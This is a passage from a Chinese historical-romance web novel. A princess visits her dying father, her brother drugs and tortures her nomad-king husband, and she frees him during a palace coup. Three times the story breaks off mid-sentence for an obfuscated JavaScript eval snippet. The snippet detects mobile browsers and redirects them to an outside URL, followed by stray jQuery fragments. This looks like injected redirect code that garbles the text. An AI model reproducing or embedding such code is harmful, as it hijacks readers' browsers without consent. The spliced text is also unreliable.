东靖百姓们聚集在街角,目光各异地打量这支队伍,人们窃窃私语,却又不敢上前半步,生怕这群凶神恶煞的漠北人突然大开杀戒,殃及无辜。
江熹禾掀开车帘一角,望着外面越来越熟悉的景色,突然生出一股恍若隔世的怅然。
车队穿过热闹的市集,最终停在了东靖皇宫的朱红大门前。
宫门口早已肃立着一支全副武装的侍卫,显然是提前接到指令,在此严阵以待,等候着森布尔的到来。
姚学真率先下车,快步走到侍卫队伍前,对着为首那人拱手行礼。
两人低声交谈了几句,姚学真又回头朝着车队的方向示意,显然是在确认身份。
森布尔打开车门,抬手掀开厚重的车帘,“到了,下来吧。”
江熹禾扶着他的手,缓缓从马车上走下来。
连续十天的颠簸让她双腿发软,刚落地时脚步虚浮,得靠着森布尔才能勉强站稳。
那侍卫统领上下打量森布尔,眼里不自觉地露出几分怨恨。
姚学真小跑过来,对森布尔说:“大王,都已经说好了,您和王妃跟着他们进去便可,陛下还在宫里等着见王妃呢。”
森布尔点了点头,扶着江熹禾,刚要迈步往宫门内走,那侍卫统领却突然上前一步,手中刀柄横在他的身前,止住了他的脚步。
“慢着!御前觐见,禁止佩刀!来人卸下身上的武器,才可随我进宫!”
森布尔眯了眯眼睛,回头看了一眼姚学真。
姚学真见状,连忙上前打圆场:“大王息怒!这规矩是宫里自古以来就有的,绝对不是针对您。陛下此前已经下了令,任何人都要对您以礼相待,请您尽管放心!”
森布尔卸下佩刀丢给一旁的侍从,从鼻子里哼了一声:“姚大人一路上也辛苦了,这几天就留在铁骑这里歇息吧,让我的人好好照顾照顾您,也省得您来回奔波。”
东靖人要卸他的刀,那他就要以牙还牙,拿住姚学真做人质。
姚学真自然明白他的用意,脸色瞬间变得有些难看。他看了一眼江熹禾,咬牙道:“大王放心便是,在下……自会留在此处候着您和王妃出来。”
森布尔抬了抬手,队伍里立刻上前两名铁骑,把姚学真“请”了下去。
他回过头,对着方才拦住他的那侍卫统领露出一口白灿灿的牙,“可以了吧?前头带路吧。”
那统领咽了咽
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732782|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口水,也不敢再多言,转身朝着宫门内走去:“请跟我来。”
穿过层层宫道,走过一尘不染的青石板路。
看着熟悉的宫殿距离自己越来越近,江熹禾手心里生出一层薄汗,心跳也越来越快。
就在几人踏上殿门口的白玉台阶时,一道熟悉的声音从廊桥边传来。
“怜儿!”
江熹禾骤然回头,只见一名身着明黄色官服的男子正快步朝自己跑来。
那人面容俊朗,神情急切,眉宇间与江熹禾有着五分相似。
正是她一母同胞的哥哥,也是如今的东靖太子,江钰轩。
“兄长?”江熹禾刚开口喊了一声,江钰轩就大步冲了过来,一把将她深深抱进了怀里。
“怜儿,你终于回来了!七年了……终于又见到你了!”
怜儿?
一旁的森布尔深深拧着眉,夫妻七年,他竟然不知道江熹禾还有这样的乳名。
兄妹俩紧紧相拥了好一会儿,才渐渐平息下汹涌的情绪。
江熹禾吸了吸鼻子,侧身跟他介绍道:“兄长,这位是森布尔,我的夫君,此次特意陪我回来探亲的。”
江钰轩盯着森布尔的脸,眼里的温情褪去,只剩下冰冷的审视:“漠北王森布尔,久仰大名。”
“是吗?”森布尔咧开嘴,却笑得毫无温度,“看来我在你们东靖很有名。”
“你!”
江钰轩脖颈上浮起青筋,刚要上前,却被江熹禾拦住了。
“兄长!”她急忙挡在两人中间,劝道,“现在不是置气的时候,我们还是先进去看看父皇吧!”
江钰轩忍了又忍,硬生生压下心头的怒火,冷冷地瞥了森布尔一眼,这才领着妹妹往殿内走。
森布尔不屑地哼笑了一声,刚想跟上,却又被殿门口的侍卫拦了下来。
“漠北王留步,太子殿下在东宫设宴,为您接风洗尘,还请您移步。”
森布尔看向江熹禾的背影,直到那道身影渐渐被厚重的殿门隔绝,他才瞥了侍卫一眼,“带路。”
江熹禾随着兄长踏入熟悉的寝殿,一进门就看见了床榻上那道消瘦的身影。
“父皇!”
七年前还老当益壮的人此刻已经头发花白,垂垂老矣,神志不清地躺在床上,连眼睛都变得浑浊。
“父皇……”江熹禾跪在床边,泪如雨下,握着皇帝的手放在自己侧脸上,“父皇……怜儿回来看您了……”
“……怜,怜儿?”
皇帝听见这熟悉的名字,灰白的眼球缓慢地动了动,转头看向床边的人。
“我的……怜儿,回来了?”
“是我,女儿回来看您了。”江熹禾哽咽着凑近,好让皇帝看清她的模样。
皇帝已经病了太久,整个人瘦得只剩下了一层青黑色的皮,包裹着嶙峋的骨架。
他总算看清了女儿的脸,手指不断抽搐着,连下巴也开始颤抖。
“我的女儿……你受苦了……是父皇,对不住你啊……”
江熹禾此时哪儿听得了这话,她摇摇头,眨落眼泪,“不是……是女儿不孝……”
老皇帝已经多日水米未进,此刻能撑住一口气,也不过是为了见女儿最后一面罢了。
江钰轩在一旁看着,也红了眼眶,他背过身擦了擦眼角,默默退出了内殿。
外间还守着一群太医,他低声交代:“你们守在这里,照顾好父皇和怜儿,我去去就来。”
18. 你敢?!
东宫。
偏殿里摆着几张长桌,上面放满了好酒好菜。
森布尔独坐其中,一杯接着一杯灌着闷酒。
“怜儿……”
他在牙缝里反复咀嚼这两个字,沉着眉头又开了一坛新酒。
怜儿,呵,这名字倒是挺适合她。
江钰轩背着手踏步进来时,森布尔已经快把一壶酒喝完了。
此刻没有江熹禾在场,森布尔也懒得跟他虚与委蛇,明晃晃的敌意直接挂在脸上:“怎么不去陪你那快死的爹,反倒来陪我吃酒?”
江钰轩嘴角抽了抽,冷哼一声,径直走到森布尔对面坐下。
“漠北王好胆量,进了我东靖皇宫,也敢这么敞开喝酒,就不怕我在酒里下毒?”
森布尔端着酒杯抬眼看向他,不屑道:“我既敢来,就不怕你玩这些阴招。”
“此次怜儿能顺利回家,还得多谢漠北王的一路护送。”
江钰轩换了副神情,从容地拎起酒壶,给自己也倒了一杯,“孤敬你一杯。”
森布尔狐疑地盯着他,看着他举杯,一口饮尽这杯酒。
“这世间最难割舍的就是骨肉亲情,家人团聚的喜悦和不易,相信漠北王也能理解。”
森布尔从他这话里咂摸出一丝不对劲儿来,搁下酒杯道:“兜什么圈子,有话直说!”
“孤的意思是……”江钰轩突然笑了笑,“听闻漠北王的父母早年间便战死沙场,这些年阴阳两隔,他们在九泉之下,应该也很想念你这个独子吧?”
“你找死!”
森布尔腾地站起身,指着他的鼻子怒道:“别以为在你的地盘我就不敢杀你!”
可话音刚落,他只觉得眼前一花,江钰轩的脸在视线里开始变得模糊,虚影一重叠着一重,连殿内的烛火都成了晃动的光斑。
“你……”森布尔腿弯一软,跌坐回椅子上,难以置信道,“你竟然真的敢下毒?”
单方面撕毁盟约,他就不怕宫门外的铁骑对城中百姓下手?
江钰轩拎起桌上的酒壶,不慌不忙地踱步到他面前,“漠北王可曾听过说,皇宫里独有的鸳鸯酒壶?壶藏阴阳,酒分乾坤。”
这种酒壶内暗藏玄机,壶柄上通常有机关,内部设有隔层,可以同时盛放两种不同的液体。
森布尔艰难抬起手,想扑上去掐死这言而无信的小人,但手臂刚举起就脱了力,又重重跌落回去。
“在我东靖皇宫还如此不设防,如此明显的圈套你也往里跳。我该说你天真呢?还是愚不可及呢?”
森布尔睁不开眼,身体也不受控制地向下倒去。失去意识的最后一刻,他忍不住想起江熹禾。
她知道这一切吗?还是说,她早就跟江钰轩串通好了?先前的眼泪,担忧和不舍,全都是演戏?这场探亲,莫非从头到尾就是一场请君入瓮的杀局?
无数个疑问涌上心头,可他已经没有力气去想答案了,终是眼前一黑,彻底失去了意识。
江钰轩丢开手里的酒壶,对着殿外喊了声:“来人,把他压入天牢,好生看管!”
江熹禾伏在塌边,轻轻握着老皇帝枯瘦的手,像小时候那样,絮絮叨叨地跟他说着这些年的经历。
她只捡着轻松美好的事情讲,可皇帝的气息已经微弱得像风中残烛,进气没有出气多。大多时候,他只能睁着浑浊的眼睛,一眨不眨地盯着女儿的脸,几乎给不出什么回应。
江熹禾揉了揉胀痛的眼眶,忽然发现兄长不知何时已经离开了。
她心下疑惑,正准备去外间查看,老皇帝突然回光返照似的一把攥住她的手腕,力气大得惊人。
“怜,怜儿……”
江熹禾连忙俯身过去,轻抚着他的胸口,“女儿在,父皇,您想说什么?”
皇帝哆哆嗦嗦地伸向枕头下,好一会儿才摸出一枚玉符。
那玉符通体莹白,雕刻着繁复的龙纹,一看便是那能调动禁军的皇室重器。
“父皇没什么……能给你的了……”他用尽全身力气,把玉符塞进江熹禾手里,“你拿着这个,若是……遇见危险……”
话还没说完,他突然剧烈地咳嗽起来,脸色瞬间变得青紫。
江熹禾连忙帮他拍背,可他只撑着咳了几声,便眼白一翻,头歪向一侧,彻底没了动静,攥着她手腕的手也软软地垂了下去。
“父皇?父皇!”江熹禾握住他的手晃了晃,连忙冲外间大喊,“太医!太医!快进来!”
一群随时待命的太医乌泱泱涌了进来,江熹禾此时也帮不上忙,只得退至一边。
她低头看着手里这枚御赐的令牌,不知为何,心里突然浮起一股强烈的不祥预感。
太医们把床前围得密不透风,有的诊脉,有的施针,有的忙着配药。
江熹禾收起玉符,缓缓退出了寝殿。
殿外没有森布尔,也没有兄长的身影,她心头一紧,连忙朝着东宫的方向跑去。
裙摆纷飞,江熹禾刚转过回廊,迎面就撞进了一个人的怀里。
江钰轩扶稳她,关切道:“怜儿,没事吧?跑这么急做什么?发生什么事儿了?”
江熹禾缓了口气,连忙问道:“兄长,你刚刚去哪儿了?森布尔人呢?”
“别急,我已经好生安排他去偏殿歇着了,不会怠慢他的。”
“我去看看他。”
“怜儿!”
江钰轩叫住她,失落道:“这么多年没见,你竟与哥哥如此生分了?连叙叙旧的机会都不给,刚见面就忙着去寻那漠北王?”
“不,不是的……”江熹禾一时有些语塞,“漠北铁骑还驻扎在城中,森布尔的安危关系到城中百姓的死活,兄长切不可轻举妄动啊。”
江钰轩目光微沉,“我明白你的顾虑,放心吧,我不会对他怎么样的。”
见他松口,江熹禾才稍稍放下心来,又想起寝殿里的父皇,连忙补充道:“父皇刚刚昏过去了,情况似乎有些不好,太医们正在诊治。”
“他这病拖了这么久,早就油尽灯枯了,这些日子一直吊着口气,就是为了等你回来。如今见了你一面,也算是了却了他最后的心愿。”
江钰轩语气平静,听不出太多的悲痛,仿佛早已预料到这一天。
两人沉默地站了片刻,江钰轩突然像是想起了什么,语气轻快了些:“怜儿,你离宫的时候,我才刚成亲不久。如今我的儿子济宁已经五岁了,你还未曾见过他呢。”
江熹禾惊讶道:“兄长有儿子了?”
“是啊,”江钰轩笑着点头,伸手虚拢着她的肩,带着她往东宫走,“刚刚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740431|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我已经让太子妃把他带回来了,此刻正在殿里等你呢。”
江熹禾只得压下心头疑虑,跟着兄长走进内殿。
刚推开门,太子妃钟雁芙就从榻上站起身,笑着迎了出来。
“怜儿!”她上前亲昵地拉住江熹禾的手,眼里带着疼惜,“这么多年可算把你盼回来了!”
江熹禾唤了声“嫂嫂”,这才看向屋内那满脸都写着好奇的小男孩。
“宁儿,过来。”
江钰轩冲儿子招了招手,牵着他走到江熹禾面前,对他介绍道:“这就是爹爹常跟你说的,你那远在漠北的熹禾姑母,快叫人。”
江济宁怯生生地看着江熹禾,乖巧地叫了声:“姑母。”
“宁儿真乖。”
江熹禾俯下身,摸了摸他的脑袋,“初次见面,姑母这次回来得急,忘了给你准备礼物,下次一定补上,好不好?”
“都是一家人,无需这般客气,”太子妃拉着江熹禾的手坐在榻上,关切道,“几年不见,妹妹怎么瞧着清减了不少,是不是漠北太贫瘠,不养人,让你受苦了?”
丫鬟们端来茶水糕点,钟雁芙不停给她投喂点心,嘘寒问暖的话一句接一句,大有要彻夜长谈的架势。
江钰轩见状,笑道:“你们慢慢聊,我去看看父皇那边的情况。”
江熹禾回头看了一眼,等到兄长走远了,才猛地按住太子妃的手,压低声音问道:“嫂嫂,您跟我说句实话,森布尔他现在到底身在何处?”
兄长的推脱搪塞她不是看不出来,她甚至不敢深想,短短这一会儿功夫,森布尔会不会已经身陷囹圄。
钟雁芙的笑容僵了僵,挥挥手示意身边的丫鬟把宁儿带了下去。
“怜儿,此番既然已经回来了,就别再管漠北的事儿了。你父皇病重,兄长又这么疼你,宁儿也盼着有个姑姑在身边,我们一家人开开心心地团聚,不好吗?”
若说之前只是猜疑,那现在就已经是确信了。
江熹禾急切对她道:“嫂嫂!这次回东靖探亲,是我和姚大人一手促成的,我曾以性命担保,漠北铁骑绝不会主动对东靖动手,东靖也会善待森布尔!可如今兄长这样做,便是单方面毁约,城中的铁骑是不会善罢甘休的!到时候首当其冲的就是姚大人!其次便是城中无辜的百姓啊!”
钟雁芙眼中闪过一丝挣扎,可很快又恢复了平静,还是坚持道:“那些事情你兄长他自有定夺,你就别管了。为了东靖大业,一些必要的牺牲……也是在所难免的。”
在所难免?
可是姚大人和城中那么多百姓又何其无辜,为何平白要为了兄长的错误决策来承担后果?
“嫂嫂!你可知边关外的铁骑不消半日就能赶赴边城,如果森布尔真的死在了这里,那东靖要如何抵抗漠北铁骑的怒火?”
钟雁芙蹙着眉头,却仍是时刻谨记着江钰轩的叮嘱不肯松口。
“怜儿,你别着急,就在我这里好好歇息,等过了今晚,你兄长会处理好一切的。”
“嫂嫂!”
江熹禾简直要急火攻心,胸口像被巨石压住,她站起身还想再劝,可眼前却骤然一黑,歪着身子便倒了下去。
“怜儿!”
钟雁芙大惊失色,连忙冲着门外喊:“来人呐!快宣太医!”
19. 宫变
皇城外的空地上,百余名漠北铁骑驻扎在此。
姚学真背着手在马车边来回踱步,数次抬头望向宫门口,却仍是得不到任何里头的消息。
也不知皇上现下如何了……
他一屁股坐在车辕上,深深叹了口气。
青格勒奉命过来给他送干粮,见他这幅垂头丧气的样子,忍不住好奇道:“听说你是东靖的大官?那你一定认识很多人咯?”
姚学真疑惑地看着眼前这年轻的漠北士兵,谨慎道:“你问这个做什么?有话不妨直说。”
青格勒把干粮袋子丢进他怀里,挨着他坐在车辕上,压低声音问道:“我是想问问你,认不认识一个叫辛夷的东靖女人。”
姚学真仔细想了想,摇头道:“未曾听说过,你找她何事?”
“嗯……也没什么大事,”青格勒挠挠头,像是有些不好意思,“就是当初说过,以后要亲手杀了她。”
“!”
姚学真一惊,还没来得及追问,马车背后突然窜出一道黑影,一掌就劈在了青格勒的后颈上。
青格勒闷哼一声,直直倒了下去。
“姚大人!快跟我们走!”
姚学真认出这是东宫直属的护卫队,心里顿时咯噔一下,连忙问:“怎么了?发生何事了?”
两名侍卫不由分说地架起他的胳膊往外跑,简短地回答道:“太子殿下拿下了漠北王,禁军已经包围了这里,要捉拿所有漠北人!我们奉命带您撤离,晚了就来不及了!”
“什么……?”
姚学真简直不敢相信自己听到了什么,短短半天功夫,宫里竟然发生了这么大的变故!
他匆忙之下回头望去,正好看见一名侍卫拔出佩刀,对着倒在地上的青格勒挥去。
“住手!”他连忙出声制止,“他还是个孩子!别杀他!”
若是青格勒死在这里,以漠北人的性子,这场大战就再也无法避免了!到时候不仅城中百姓要遭殃,他之前所有的努力,都会化为泡影。
那名侍卫的动作顿了顿,此时,前来巡视的铁骑发现了异常,厉喝道:“什么人!”
此话一出,双方人马立刻混战在一起,喊杀声和兵器碰撞声瞬间打破了先前的宁静。
姚学真被人架着,强行脱离了这片战场。
.
昏暗逼仄的天牢刑房里,墙上架着火把。
跳动的火光把影子拉得扭曲,映在森布尔满是伤痕的身上。
他被拇指粗的玄铁锁链死死绑在刑架上,双臂被迫张开,浑身上下已经布满鲜红的鞭痕。
狱卒打累了,捏着鞭子走到一旁,端起粗瓷碗猛灌了几口凉水。
森布尔睁开赤红的眼睛,死死盯着牢房门口,像是在等什么人。
怕她出现,又怕她不出现。
若当真是她背叛了他,那简直比生生活剐了他还要难受。
“呸!真是个硬骨头。”
狱卒抹了把嘴,狠狠啐了一口,又从刑具里面换了一条带倒刺的鞭子。
“啪”的一声鞭响,鲜血飞溅,森布尔身上瞬间绽开一条血肉模糊的伤痕。
“呃!”森布尔仰起头,脖颈青筋暴起,硬是把痛呼声绞死在喉咙里。
那狱卒拧了拧胳膊,正准备扬起鞭子再抽,牢房的铁门却突然“吱呀”一声被推开,一道挺拔的人影走了进来。
“太子殿下!”
江钰轩对那狱卒伸出手,那人立刻会意,恭恭敬敬地把手里的鞭子递了过去。
汗珠滑落进眼睛,涩得生疼。森布尔甩了甩头,眯着眼睛看向来人。
“呵,原以为东靖人只是贪生怕死,软弱无能罢了,没想到你们的卑劣,比我预想中还要更甚。”
江钰轩抬了抬手,示意其他人退下。他不慌不忙地脱下外袍,露出里面一身束口劲装。
“森布尔,你有什么资格指责我们?”
江钰轩猛地甩开手里的长鞭,“七年前,我妹妹怜儿为了东靖的安宁,自请远嫁漠北。然而……你们漠北人是怎么对她的?别以为她不说,我就什么都不知道!”
他陡然拔高声音,长鞭带着熊熊怒火,一下又一下地狠狠抽在森布尔身上。
“我一看她的手就知道她在漠北吃了多少苦……那是我和父皇捧在手心里养大的怜儿,是东靖的公主!却被你们作践成了这样!森布尔……我真是恨不得扒了你的皮,把你一块儿一块儿剁碎了喂狗!”
森布尔在密集的疼痛里不断倒着气,却依旧死死咬着牙,在喘息间隙艰难地开口:“江熹禾呢?我要见她!让她来见我!”
“你还有什么资格见她?”江钰轩更加怒不可遏,他上前一步,直接用长鞭绕住森布尔的脖子,双手用力,狠狠收紧。
“森布尔……你欠我们东靖的,一辈子都还不清!”
长鞭不断收紧,倒刺深深嵌入皮肉,森布尔的脸涨得通红,呼吸变得越来越困难,脖颈甚至都发出了不堪重负的咔咔声。
就在森布尔以为自己就要窒息而死时,江钰轩却猛然松开了手。
新鲜的空气呛进喉咙,带着血腥味,森布尔剧烈地咳嗽起来,胸口的伤口被牵扯,涌出更多鲜血。
“这么死了,太便宜你了,”江钰轩丢开鞭子,拍了拍手,“我会带你去边关,你若能让铁骑乖乖缴械投降,我还可以考虑给你留个全尸。”
森布尔垂着头,发丝被汗水和鲜血黏在脸上,整个人狼狈不堪。冷汗不断流进伤口,混着鲜血往下淌,在地上积得越来越多。
江钰轩不再看他,转身整理了一下衣袍,大步走出了刑房。
.
钟雁芙心神不宁地在廊下踱步,远远看见太医拎着药箱赶了过来,连忙上前道:“李太医,您可算来了!怜儿刚刚突然昏了过去,至今没醒,快进去看看吧!”
李太医连忙点头,脚步不停往寝殿走,“太子妃放心,臣这就去瞧瞧。”
钟雁芙目送他推门而入,才对着门口守着的宫女招了招手,吩咐道:“这里暂且不用守着了,你们随我去寻太子殿下,把怜儿的情况告诉他。”
“是。”
宫女们躬身应下,快步跟上钟雁芙,很快就消失在回廊尽头。
寝殿内,李太医提着药箱绕过雕花屏风,只见床边候着一名小宫女,正紧张地望着床榻。
他挥了挥手,示意小宫女退下,随即从药箱里取出脉枕放在床沿上,又拿出一方素色绢帕擦了擦手,轻声道:“公主殿下,臣为您诊脉,多有冒犯,还请恕罪。”
床上的人侧身躺着,只露出乌黑的发顶,一动不动,没有任何回应。
李太医觉得奇怪,刚准备凑近了查看,背后却突然伸出一双纤细的手,手里捏着一块儿浸了药汁的手帕,猛地捂住了他的口鼻。
“唔……”刺鼻的气味呛进喉咙,李太医刚想挣扎,却很快就白眼一翻,倒了下去。
江熹禾松开手,踉跄着后退一步,捂住狂跳不止的心脏,对着地上的人轻声说了句:“对不住了。”
这手帕里的草药有麻痹作用,原本是她随身携带的外伤应急药物,可没想到竟被用在了这种地方。
江熹禾按住怀里的玉符,平复了一下心绪之后,不再犹豫。快步走到门边,轻轻推开一条缝,确认外面无人看守后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16752656|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,果断推开门,低着头快步跑了出去。
森布尔昏了过去,又被伤口的刺痛唤醒。
牢房里血腥味愈发浓重,墙上的火把忽明忽暗,让人精神恍惚,分辨不清到底过去了多久。
门外传来若即若离的脚步声,森布尔一度以为是自己产生了错觉,直到刑房大门被猛地推开,那道熟悉的声音在耳边响起,他才像是重新活了过来。
“森布尔!你怎么样?”
江熹禾扑了过来,颤抖的手指从他鲜血淋漓的伤口上虚虚划过,最终只能落在他尚且完好的侧脸上。
“森布尔!撑住!我来救你了!”
她掏出从狱卒身上拿来的钥匙,费力地解开森布尔身上的锁链。
沉重的锁链落地,森布尔从桎梏中脱离出来,庞大的身躯压了下来,紧紧抱住了她。
“怜儿……怜儿……”
他贴着她的耳边,一遍又一遍地唤着这个他刚知道不久的乳名。
这是他第一次这样叫她,也是第一次知道,原来一个名字,就能让他在绝望中找到救赎。
还好,她来了……还好,她没有背叛他。
江熹禾能感受到他心绪的起伏,但眼下不是沉溺于重逢的时刻。她从他怀里挣脱出来,把带来的外袍披在他身上,“城外已经打起来了,你换上衣服,快跟我走!”
森布尔重新打起精神,在她的帮助下,忍着伤口的剧痛迅速换好衣服。
江熹禾从怀里摸出玉符,塞进他的手里,“这是父皇给我的御赐玉符,可以调动宫中禁军,你拿着它就能出宫!”
森布尔握着冰凉的玉符,突然凑到她侧脸狠狠亲了一口。
带着血腥气的吻短暂却炽热,像是在确认彼此的存在。
紧接着,他手臂一揽,紧紧扣住她的腰,带着她往外快步奔去。
“我们走!”
出了天牢,森布尔才知道外面天已经黑了。
宫中此刻也不平静,不远处的喊杀声此起彼伏。
两人穿着暗色斗篷,带着兜帽,借着夜色的遮掩,迅速朝着宫门口靠近。
“站住!什么人!”
门口的侍卫架起刀刃,拦住了他们的去路。
森布尔兜帽遮脸,只露出紧绷的下颌。他从腰间掏出玉符,哑声道:“我等奉皇上的旨意出宫,尔等不可阻拦!”
为首的侍卫上前仔细看了看,确认这是御赐玉符无误,连忙挥手让身后的人让开。
“开城门!放行!”
沉重的城门缓缓被推开,缝隙渐渐扩大,借着远处混战的火光,已经能隐约看见城外空地上厮杀的兵马。
森布尔收紧手臂,搂着身边的人快步朝外走去。
就在即将踏出城门的刹那,江熹禾突然推开森布尔,后退了两步。
森布尔身上带着伤,冷不防被她推得踉跄了几步,伤口被牵扯得一阵剧痛。
他回头惊讶地看向她:“怜儿,你做什么?”
江熹禾抬手取下头上的兜帽,夜风拂起她散乱的发丝,露出一张泪痕遍布的脸。
“森布尔,我会为你拦住城里的追兵,你快走吧。”
“你什么意思!?要走一起走!”
森布尔大步上前,伸手就要去抓她的手臂,宫门内突然传来一阵杂乱的脚步声,一片刺眼的火把的亮光迅速朝这边赶来。
“奉太子殿下之命,捉拿逃犯森布尔!快关城门!拦住他们!”
是江钰轩发现了他们的踪迹,追兵已经到了!
门口的侍卫还没反应过来,宫墙下的阴影里又杀出一队禁军,转眼间就跟这批追兵厮杀在一起。
20. 国丧
“快走!”
江熹禾厉喝一声,再次推开森布尔,转身朝着宫里跑去。
身后的混战还在继续,火光映着她单薄的身影,像一片随时会被战火吞噬的落叶。
森布尔侧身躲避飞来的箭矢,仓皇之下身形不稳,重重撞上了一旁的宫墙,剧痛瞬间席卷全身,让他晃了一瞬的神。
就是这短短一瞬的耽搁,等他强忍着疼痛回过神时,江熹禾已经回到了城门之下,她从地上捡起了一把残刃,没有丝毫犹豫,直直朝着自己的脖颈挥去。
“怜儿!”
江熹禾存了死志,动作决绝,没有给任何人反应的时间。
她心里清楚,森布尔是因为她才会中计,以至于身陷囹圄。今夜宫中的混乱、城外的厮杀,也全都因她而起。
父皇在弥留之际给了她保命的玉符,她却用来救了东靖的敌人。
兄长拼尽全力想要把她留在身边,护她周全,她却一次次辜负他的心意,甚至还要与他为敌。
她对不起森布尔,对不起父皇的嘱托,对不起兄长的疼爱,更对不起因这场战乱而受苦的百姓。
她拼尽全力想要化解两国的矛盾,可到最后,却还是什么都改变不了。
或许,唯有此身殉道,才能向天下人谢罪,才能平息这场因她而起的战火。
“对不起……”
江熹禾闭上眼睛,滚烫的泪水从眼角滑落,滴在握着残刃的手背上。
千钧一发之际,那枚通体莹白的玉符从后方飞了过来,“叮”的一声,精准击飞了她手中的刀刃。
刀刃哐当一声落在地上,那枚玉符也应声而裂,白色的玉片散落在地上,像一地破碎的月光。
“……”江熹禾无措地回过头,只见一脸暴怒的森布尔朝她飞奔而来,不由分说地一把掐住她的腰,转身就往宫外狂奔。
“江熹禾,你是我的人!你想自戕……问过我的意见了吗?!”
森布尔一边狂奔,一边忍不住回想着刚刚那一幕,简直要疯了。
他不敢想,若是他刚刚慢了一步,若是紧急之下失了准头,此刻她会不会已经倒在血泊里,彻底离开他!
江熹禾被他钳在身侧,看着他身上不断渗出的血色,痛苦地闭上了眼。
为什么……为什么会变成这样?
城外的混战还在继续,漠北铁骑虽骁勇善战,却因人数悬殊而陷入苦战。幸好城内的大批追兵被禁军阻拦,暂时没能杀出城来,给了他们喘息的机会。
青格勒仗着自己身姿灵活,在混战的人群里左右腾挪,很快就窜到了前面,看见了森布尔的身影。
“大王!”他屈指放在口中,吹了个响亮的口哨,“这边!”
森布尔听见哨声,看到了青格勒,立刻调转方向朝他跑去。
青格勒牵着战马,森布尔抱着江熹禾翻身上马,对着还在鏖战的铁骑喊道:“漠北铁骑听令!即刻撤离!”
青格勒也迅速骑上另一匹马,对着马群打了个呼哨。
铁骑们开始有序地收拢阵型,边打边退,朝着森布尔的方向靠拢。
兵荒马乱的一夜即将过去,天边已经亮起曙光。
铁蹄踏碎青石板路,撞翻市集上的小摊,东靖百姓吓到腿软,跌坐在路边,眼睁睁看着这群异族人的弯刀,距离自己越来越近。
森布尔猛地夹紧马腹,从侧边冲了出来,挡住那名铁骑的刀刃,沉声道:“不要多事,抓紧时间撤离!”
江熹禾被森布尔护在怀里,鼻尖萦绕的全是他身上的血腥味。
恍惚间她还在想着,刚刚的刀刃是不是已经划破了她的脖颈?不然她身上怎么会有这么多血?
晨光刺破云层的刹那,护国寺传来悠远的钟声。
“咚——”
“咚——”
“咚——”
三响丧钟劈开黎明,宣告着一个时代的终结。
皇帝,驾崩了。
江熹禾猛然回过神,从森布尔怀中探出头,努力看向皇宫的方向。
那明黄色的宫阙离她越来越远,此次一别,她便是东靖的叛徒。
从她拿着玉符去往天牢的那一刻,这里就再也不是她的家了。
“父皇……”
她的眼睛已经被眼泪泡得麻木,甚至已经感觉不到自己在流泪。
当宫墙最后一片剪影消失在天际,她终于撕心裂肺地喊出那句诀别:
“父皇!”
这一声耗尽了她全部力气,整个人如同断线纸鸢,软软倒在了森布尔怀里。
铁骑疾驰了一整天。
沿途到处都是围追堵截的东靖士兵,森布尔带着仅剩的几十名铁骑,没有选择走来时的路,而是一头扎进了山里,用翻山越岭的方法甩掉身后的追兵。
事实证明,他的决策精准而果断。进山之后,漠北铁骑的脚力与骑术优势便显现出来,双方的距离渐渐拉开,很快就甩下了不小的差距。
可危机并未完全解除,新的难题接踵而至。他们匆忙逃窜进山,又经过一整天的奔逃,早就已经迷失了方向。
他们都是第一次踏入东靖的土地,对这里的地形、路线一无所知。眼下只能像无头苍蝇一样,在连绵的山头上乱转,根本找不到通往漠北边境的路线。
这么耗下去,迟早会被东靖人追上来!
森布尔勒住马,望着眼前密不透风的树林,内心焦急如焚。他低头看了看怀中仍在昏迷的江熹禾,她的脸色苍白如纸,呼吸微弱,急需找个地方好好休整。
他们寻了一处隐蔽的山坳,铁骑们纷纷下马,有条不紊地分成几支小队,有的检查马蹄,清点武器,有的外出寻找食物和水源,还有的则在山坳入口处布置简易哨点,防备追兵突然出现。
森布尔抱着江熹禾走到山洞深处,小心翼翼地把她放在刚铺好的干草堆上。
他自己身上的伤口也需要赶紧处理,若是拖久了,无论是伤口恶化还是失血过多,在这种情况下,都是会随时丢掉性命的。
森布尔燃起篝火,取出止血的伤药,身上的衣服已经跟伤口上的皮肉紧紧粘在一起,剥离下来时,带着钻心的疼痛。
森布尔牙关紧咬,艰难地脱下衣服。
青格勒拿着酒囊走了进来,看见他身上纵横遍布的伤口,也是吓了一跳。
“大王,我来帮您吧。”
森布尔接过他手上的酒囊,摇头道:“你去外头守着,留意着山下的动静,别让东靖人找上来了。”
青格勒应了一声,只好转身出去了。
森布尔用牙咬开酒囊,先是仰头灌了一大口,随后心一横,直接把烈酒往身上的伤口上倒。
“嘶……”
